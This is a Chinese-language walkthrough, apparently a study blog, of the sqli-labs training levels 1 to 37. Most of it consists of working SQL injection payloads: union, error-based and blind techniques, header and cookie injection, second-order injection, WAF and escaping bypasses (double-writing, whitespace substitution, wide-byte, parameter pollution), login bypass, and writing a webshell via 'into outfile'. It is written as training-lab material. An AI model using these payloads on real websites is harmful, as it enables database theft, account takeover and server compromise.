基本的一些联合查询注入
Less-1.字符型 规定id=1,2,3 构造闭合 id=-1’ 内容 #
Less-2.数字型 直接加SQL语句 id=-1 内容
Less-3.字符型 闭合方式是(‘ 内容 ’) 构造的闭合语句是id=-1’) 内容 #
Less-4.字符型 闭合方式是(“ 内容 ”) 构造的闭合语句是 id=-1”) 内容 #
双查询注入(利用报错信息)(页面上没有显示位但是有sql语句执行错误信息输出)
Less-5.字符型 闭合方式 单引号 ’ id=-1’ 内容 #
?id=1'
union select 1,count(*), concat(查询语句 ), floor(rand()*2))as a from information_schema.tables group by a
--+
Less-6 字符型 闭合方式 双引号 “ id=-1” 内容 #
导出文件注入
Less7.字符型 闭合方式(('内容 ‘)) 构造的闭合语句是 id=-1’)) 内容 #
获取文件导入导出允许路径,利用@@datadir->数据库存储路径 @@basedir->mysql安装路径
将写入恶意代码的内容查询结果导出到本地,菜刀连接
union select 1,2,'' into outfile "路径地址" --+
Ps:这里需要开启mysql的导入导出文件权限,在my.ini配置secure_file_priv =
查看文件 load_file()函数
写入文件 into outfile -mysql语句
盲注
布尔盲注
Less-8.字符型 闭合方式 单引号 ’ 构造的闭合语句是 id=1‘ 内容#
思路:利用ascii(),substr(),二分法查找
判断列数->判断数据库名长度->爆破数据库名->判断表数量->表名长度->表名->字段数->字段长度->字段值->
数量—count,长度—length , 值—ascill+substr+二分法
注意:mysql的substr的开始位置是”1“ substr(“xxx”,1,1)
判断数据库名长度
id=1' and length(database())=8 #
猜测数据库名
id=1' ascii(substr(database(),1,1))>65 # 通过二分法查找对数据库名一个个拆分判断名字
猜测数据库的表数量:
id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=5 #
对第1、2...的表进行具体猜测表名长度和表名
id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=1 #
id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>65 #
判断字段数
id=1' and (select count(column_name) from information_schema.columns where
table_name='users')=1 #
判断字段长度 字段名
?id=1' and (select length(column_name) from information_schema.columns where table_name='users' limit 5,1)=8 #
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>97 #
猜测数据
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 #
时间注入
Less-9.字符型 闭合方式 单引号 ’ 构造的闭合语句是 id=1‘ 内容#
因为不论输入什么,界面返回的都是一样的
因此我们使用时间注入sleep函数,根据页面放回时间判断我们所给条件是否正确
?id=1'and if((substr((select database()),1,1)='s'),sleep(5),null);%23
Post:http request请求的一种,数据从客户端提交到服务器端,之后再由服务器端进行验证
多使用于用户登录模块、网站的留言板模块等
建议:Post注入的数据提交测试配合工作使用 hackbar或burp
基本的一些联合查询注入
Less-11.字符型 构造闭合 1’ 内容 # Post提交内容 uname=1‘内容 #& passwd=xxxx
当然对于登录界面我们都可以尝试万能密码去登录看看
Post提交数据:uname=1’or‘1’=1 # & passwd=xxxx
Ps: 万能密码,利用逻辑漏洞使查询的sql语句条件成立
Less-12.字符型 构造闭合 1") 内容 # Post提交内容 uname=1")内容 #& passwd=xxxx
双查询注入(利用报错信息)(页面上没有显示位但是有sql语句执行错误信息输出)
Less-13.字符型 构造闭合 1’) 内容 # Pots提交内容 uname=1‘)内容 #& passwd=xxxx
(1)双查询
uname=ad') union select 2,count(1) from information_schema.tables group by concat(floor(rand()*2),(select concat(username,password) from users limit 1,1))#&passwd=admi
ps:这里限制了输出长度 无法使用group_concat输出整个表
(2)利用函数报错 extractvalue() 或UPDATEXML()
unameu=1admin') and extractvalue(1,concat('~',(select password from users limit 1,1),'~')) # &passwd=2312
Ps:该函数最多输出32字节 需配合substr或limit 使用
Less-14.字符型 构造闭合 1" 内容 # Pots提交内容 uname=1‘)内容 #& passwd=xxxx
注入语句参考Less-13
盲注
布尔盲注/时间盲注
Less-15.字符型 构造闭合 1‘ 内容 # Pots提交内容 uname=1‘)内容 #& passwd=xxxx
思路:页面根据登录只放回两种情况,成功和不成功
利用布尔值判断 当我们给定一个数据库已存在的username,进行构造闭合语句
uname=admin'and 判断语句# &passwd=xxxx
Ps:使用and连接两个条件 判断语句条件成立即放回登录成功页面
具体语句参考Less-8布尔盲注
Less-16.字符型 构造闭合 1") 内容 # Pots提交内容 uname=1‘)内容 #& passwd=xxxx
更新查询 报错注入
Less-17.字符型 构造闭合 1‘ 内容 # Pots提交内容 uname=admin& passwd=123 ’ 内容#
这里构造的闭合语句在passwd(具体看源码sql查询语句)
要求:用户名要填写正确,根据逻辑判断,先判断用户名是否存在,存在才会进行update语句
构造语句:利用函数报错注入
unameu=admin &passwd=123') and extractvalue(1,concat('~',(查询语句),'~')) #
Ps:当我们查询users表会报错:
You can't specify target table 'users' for update in FROM clause
(不能在对同一个表update的同时select)
解决思路:进行嵌套查询,要注意添加一下别名(这是规则),否则会报错
例:
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(password) from (select password from users) as aaa),0x7e),1) #
注意:当我们对存在更新操作的地方进行尝试sql注入时,一定要注意语句的逻辑问题和正确性,否则可能会造成不可估量的后果(这里的后果特别指明,如果你后期尝试挖漏洞,别一不小心把别人的数据全改了) 我在不知道正确的注入语句情况下一顿花里胡哨的把密码全改成123456了 幸亏这是本地 数据少 万一… 懂就好
HTTP头(header)注入
httpt头部常用关键字
Accept: 浏览器能够处理的内容类型
Accept-Charset: 浏览器能够显示的字符集
Accept-Encoding:浏览器能够处理的压缩编码。
Accept-Language: 浏览器当前设置的语言。
Connection:浏览器与服务器之间连接的类型
Cookie:当前页面设置的任何Cookie
Host:发出请求的页面所在的域。
Referer:发出请求的页面的URI。
User-Agent:浏览器的用户代理字符串
Server: WEB 服务器表明自己是什么软件及版本等信息。例如:Server:Apache/2.0.61 (Unix)
Less-18.字符型 注入位置:请求头的User-Agent:的位置 单引号闭合
构造闭合: xxxx‘ 报错函数注入语句 and ‘1’=1
查看源码,发现这里的username和passwd使用了check_input函数进行检查,无法注入,但后面有一段插入的SQL语句可以实现注入,根据页面登录情况,当登录成功,会放回user-Agant的信息,那么我们就尝试在该header头 进行SQL注入
在user-Agant: xxx 后插入语句
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
Less-19.字符型 注入位置:请求头的Server: 的位置 单引号闭合
构造闭合: xxxx‘ 报错函数注入语句 and ‘1’='1 (可参考less-18)
Less-20.字符型 注入位置:请求头的Cookie: 的位置 单引号闭合
构造闭合: xxxx‘ 报错函数注入语句 and ‘1’='1
对cookie的请求头注入前提是已经登录成功获得了cookie值
当然也可以用联合查询 注意要将前面的cookie条件设为假
Cookie: uname=admin' and 1=0 union select 1,2,database()%23
Less-21.字符型 注入位置:请求头的cookie: 的位置 单引号闭合
构造闭合:base64加密–> xxxx‘ 报错函数注入语句 and “1”="1
登录后发现cookie被base64加密 ,对原注入语句base64加密后再传回给cookie
Less-22.字符型 注入位置:请求头的cookie: 的位置 双引号闭合
构造闭合:base64加密–> xxxx“ 报错函数注入语句 and “1”="1
登录后发现cookie被base64加密 ,对原注入语句base64加密后再传回给cookie
报错注入+黑名单(注释符过滤)
Less-23.字符型 规定id=1,2,3 构造闭合 id=-1‘ sql语句‘
这里对注释符进行的过滤 # --+都会被替换成 “ 符号
id=-1'union select 1,database(),3'
ps:这里因为过滤了注释符,所以无法使用 order by 判断列数
但我们可以通过 union select去判断列数
?id=0' union select 1,2,'
后台是' $id '
mysql执行语句就是0 union select 1,2,' ' ;后面的单引号闭合进行查找三列数据
二次注入
Less-24 这道题的重点不在于爆数据 而在于获得admin权限
进入是一个登陆框,我们进行新建账号 : admin’# 密码:123456(随意都行)
登陆admin’#用户,并修改密码
执行的sql语句
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='xxxx'
后台执行就变成了 UPDATE users SET passwd="New_Pass" WHERE username =' admin'
最后admin账号就可以用修改后的新密码登录了
这样我们注入目的就达到了
WAF绕过
白盒绕过、黑盒绕过、fuzz测试
就看你思路骚不骚,猥不猥琐
双写绕过
or->||
空格绕过
%09 TAB键(水平)
%0a 换行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
/**/
+
()
Less-25 字符型 规定id=1,2,3 构造闭合 id=-1‘ sql语句 # 基于报错的注入型
这里会对 or 和 and进行过滤 尝试双写绕过 遇到判断 and or被替换成空字符后 aanddn->and oorr ->or
源码内容为:
因为只是过滤了or和 and 并不影响正常使用union查询 但要注意 password 单词因为里面有or 所有会被过滤,记得双写变成passwoorrd
例如 执行语句:
?id=-1'union select 1,2,(select group_concat(concat_ws("|",username,passwoorrd)) from users)#
Less-25a 数字型 规定id=1,2,3 构造闭合 id=-1 sql语句
过滤了 and和 or 字符
?id=-1 union select 1,2,(select group_concat(concat_ws("|",username,passwoorrd)) from users)
Less-26 字符型 规定id=1,2,3 构造闭合 id=-1‘ sql语句’ 基于报错的注入型
这里过滤了or and 注释符 特别还有空格 ,所有我们的sql语句select username …就会变成selectusername
所以我们的关键点在于如何绕过这个WAF,用某特殊值代替” 空格 “
尝试多种绕过 最后%A0可以替换空格
?id=0'union%A0select%A0 =1,2,database()'
使用报错注入可以是
?id=-1'||updatexml(1,concat('~',database(),'~'),3)||'
Ps:本关在windows下可能无法使用一些特殊的字符代替空格,会变成?字符,在linux平台下可以实现(我没还没搞懂为什么,如果有大佬弄明白了 带带我awsl)
Less-26a 字符型 规定id=1,2,3 构造闭合 id=-1‘)sql语句(’ 盲注
参考-26,过滤了空格和注释
Less-27 字符型 规定id=1,2,3 构造闭合 id=-1‘ sql语句’ 基于报错的注入型
这里主要是对union和select的绕过 查看源码的waf
通过双写绕过,这里的select应该是连续判断了2次,写入三次也可以绕过,双写的目的就是通过preg_replace匹配时会执行一次替换,但我们进行双写其中的一个替换为了空,那么就使得拼接成了一个select
注入语句参考:(这里的%0a代替了空格符)
?id=0'ununionion%0a selselselectectect%0a1,2,(selselselectectect%0agroup_concat(concat_ws("|",username,password))%0afrom%0ausers)'
Less-27a 字符型 规定id=1,2,3 构造闭合 id=-1“sql语句" 报错注入
参考27
Less-28 规定id=1,2,3 构造闭合 id=-1’) %26%26sql语句&&‘1’=('1 盲注无报错回显
这里的闭合语句是(’$id’) 但因为注释符都被过滤,因此无法将后面的”)“去除 只能利用时间注入来进行注入 %26是&的意思
?id=1')%26%26if((substr((select%0adatabase()),1,1)='s'),sleep(2),null)%26%26'1'=('1
在查看大量wp 突然学到一种新思路 tql了 学习学习 对于(“内容”)的闭合语句 (可以去Less-3自己实验看看)
?id=0')union select 1,2,('3
Less-28a 规定id=1,2,3 构造闭合 id=-1’) %26%26sql语句&&‘1’=('1 盲注无报错回显
参照Less-28 但这里的源码其实只对select和union过滤了 其他的注释符等都可使用,
但既然是学习我们还是应该将它们当做无法使用
服务器WAF
Less-29 字符型 规定id=1,2,3 构造闭合 id=1 &&id=0’ sql语句 %23 web服务器WAF绕过
这道题其实提供了两个url 一个是index.php(参考界面) 另一个是login.php(注入界面)
我们访问login.php提交参数?id=1 但只要提交非数字 就会进行页面跳转到
查看源码内容,他这里用的两种不同的方法进行获取 i d , 并 且 对 利 用 id,并且对利用 id,并且对利用_SERVER[]获取的id值进行了一波检测,也就是当我们传入的参数存在非0-9数字时,进行页面跳转 。
大致概况一下就是,这里在原Apach(php)服务的基础上加了一层以Tomcat(jsp)的WAF,当我们提交参数时,首先WAF对参数进行判断,然后再提交给Apach,并将结果返回给客户端,因此我们可以基于这两个不同的服务器,进行HPP(http参数污染攻击)
ps: HPP原理可以见我的另一篇博客:https://blog.csdn.net/weixin_43669045/article/details/105293023
因为WAF是jsp 我们可以根据服务器处理方式的不同,构造下面语句:
?id=3&&id=-1'union select 1,3,(select group_concat(concat_ws("|",username,password)) from users)%23
Less-30 字符型 规定id=1,2,3 构造闭合 id=1 &&id=0“ sql语句 %23 web服务器WAF绕过
双引号闭合 具体参考 Less-29
?id=3&&id=-1"union select 1,3,(select group_concat(concat_ws("|",username,password)) from users)%23
Less-31 字符型 规定id=1,2,3 构造闭合 id=1 &&id=0“) sql语句 %23 web服务器WAF绕过
双引号+括号闭合 具体参考 Less-29
?id=3&&id=-1") union select 1,3,(select group_concat(concat_ws("|",username,password)) from users)%23
宽字节注入
Less-32 字符型 规定id=1,2,3 构造闭合 id=1%bf%27 sql语句 %23
尝试正常注入 id=1’ 但发现放回的信息是 id =1\’ 逗号被注释 ,还有16进制的提示
这里我们要进行的是宽字节注注入
Ps:宽字节原理:数据库与web前端未统一所使用的字符集,导致各种对字符的解析存在差异,利用该 漏洞实现宽字节注入,前端将双字节字符认为是两个字节,后端mysql双字节是一个汉字,当我们 提交?id=1’ 前端php的函数检测到特殊字符 进行转义为 id =1\’ ,这时候我们利用宽字节注入 提交 ?id=1%5f’ 前端php检测是 ?id=%bf%5c%27 mysql运行就变成了 id=1 ¿’ (bf5c转义成 ¿)
构造语句:
?id=0%bf'union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from users)%23
Less-33 字符型 规定id=1,2,3 构造闭合 id=1%bf%27 sql语句 %23
这里的构造方式与less32一样,这两道题唯一的区别在于 该题直接使用的是php通过的addslashes()函数对指定的字符进行转义,而less-32是自己写了一个自定义函数进行转义
Less-34 字符型 Post注入 绕过gaddslashes()函数
将get类型该为post型 一样利用宽字节注入
uname=1&passwd=1%bf' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users)#
Less-35 数值型注入 id=1,2,3 构造闭合 id=0 sql语句
不需要关心引号是否被过滤,直接构造payload:
?id=0 union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from users)
Less-36 字符型 规定id=1,2,3 构造闭合 id=1%bf%27 sql语句 %23
使用了mysql_real_escape_string()函数,多过滤一些东西,但是对于注入语句来说没什么影响,和32关做法一模一样,单引号闭合,注入语句都一样。 直接参考Less-32
mysql_real_escape_string()函数受影响字符
\x00
\n
\r
\
'
''
\x1a
Less-37 字符型 Post注入 绕过mysql_real_escape_string()函数
将get类型该为post型 一样利用宽字节注入
uname=1&passwd=1%bf' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users)#
数据库名:security
提供的数据库信息
表名:emails,referers,uagents,users
字段:emails :->id,email_id
referers:->referer,ip_address
uagents :->id,uagent,ip_address,username
users :->id,username,password